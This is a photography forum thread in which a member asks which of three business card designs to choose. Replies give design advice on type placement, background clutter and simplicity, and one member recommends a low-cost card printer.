Please help me to choose a business card.

My favorite is number 2

Business Card # 1


Business Card # 2



Business card # 3

who's your audience? or who are going to receive your card?

I like the photo's but the font could be positioned better - looks pretty cluttered.

As is: none, they all need work.

I like #2 best, however. I think the type needs more work.

troglodite

maybe something simple like this?

I would clean up the BG of the shot, it's distracting.

The type design is much better, but if you did make the BG a pure sky blue and lost all the messy business, then you could use the negative space there for your type. Keep the type to a mininum, too. I would align right.

I agree, #2 has the most potential... but I don't like the text crossing the image so much. Your e-mail especially is hard to read. Very strong image though.

@Troglodite & David

Thanks for your input.

I’m aiming on companies in the tourism sector who like to profile their services in flyers, on internet, an article in a magazine etcetera. In short: Advertisement and documentary photography.

Which fonts do you advice? You think less text on the front and add text on the back of the BC will be better?

I will reconsider the design and re-post this for review.

Have you read through this thread? It's a great way to see what works/what doesn't work, and to see the evolution of a card.

Yes I have. Some very nice BC there. I thought that it was better to make a seperate post for not "taking over" the other one.

I agree. Cut the iguana out and have everything else black with white type.

Sorta like my smugmug header...

I like this one. I like the simplicity of it.

Hey, I don't know if you have a contact to buy your cards from or not. I have been useing "96 Eddie" for several years and really like his work. He does 5000 cards, full color on both sides for 96.00 USD. He uses nice heavy card stock and is more than happy to send you some samples if you ask. He has a regular web page but you only get the mega deal if you go thru eBay. Let me know if you want his info.

P.S. It's good to see Smuggy doing well!

Thanks Kat.

I hope I get some more input on the last two.

$96 for 5000 seems like a very good deal. Currently I do business with iPrint and will order 500 per order. Aruba is a small place and 500 will go a long way. Thanks for your offer.

...and Smuggy...she's just a great thankfull and healthy dog. Thanks for your attention.
